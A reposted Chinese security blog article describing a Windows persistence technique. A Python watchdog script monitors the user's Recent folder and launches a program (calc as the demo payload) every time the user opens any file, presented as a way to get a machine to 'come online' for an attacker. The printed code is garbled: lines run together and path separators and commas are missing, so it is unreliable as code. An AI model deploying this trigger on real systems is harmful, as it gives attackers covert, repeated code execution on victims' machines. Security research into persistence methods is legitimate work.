Windows新方法权限维持!

admin 2025年1月9日09:41:35评论10 views字数 1022阅读3分24秒阅读模式

点开txt即可上线,点开图片即可上线,这梦幻般的场景在20多行的python脚本均不是梦

首先我们了解一下

C:UsersusernameAppDataRoamingMicrosoftWindowsRecent

这个路径是Windows的最近使用项目

Windows新方法权限维持!

如果你有everything工具你点击一个图片或者文件你会发现

每次点击都会在此目录下创建一个新的ink文件

Windows新方法权限维持!
Windows新方法权限维持!

于是我们可以监控这个目录

如果这个目录有新文件生成代表用户点击了一个文件

如果有新文件生成我们就执行一次calc

这个逻辑看起来没问题

但是如果我们在一个新的设备上运行要怎么办,我们不知道他的用户名,总不能获取用户名然后拼接吧

于是我想到了通配符%APPDATA%

Windows新方法权限维持!

他会回显到roaming目录

然后我们进行拼接"Microsoft", "Windows", "Recent"就好了

于是就有了如下效果

源代码如下,并未进行任何免杀,vt报毒有6个
import osimport timeimport subprocessfrom watchdog.observers import Observerfrom watchdog.events import FileSystemEventHandler# Recent 目录路径RECENT_DIR = os.path.join(os.environ["APPDATA"], "Microsoft""Windows""Recent")classRecentHandler(FileSystemEventHandler):    def on_created(self, event):if not event.is_directory:              subprocess.Popen("calc")if __name__ == "__main__":    event_handler = RecentHandler()    observer = Observer()    observer.schedule(event_handler, path=RECENT_DIR, recursive=False)    observer.start()try:while True:            time.sleep(1)    except KeyboardInterrupt:        observer.stop()    observer.join()

原文始发于微信公众号(秋风的安全之路):Windows新方法权限维持!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月9日09:41:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows新方法权限维持!https://cn-sec.com/archives/3608088.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息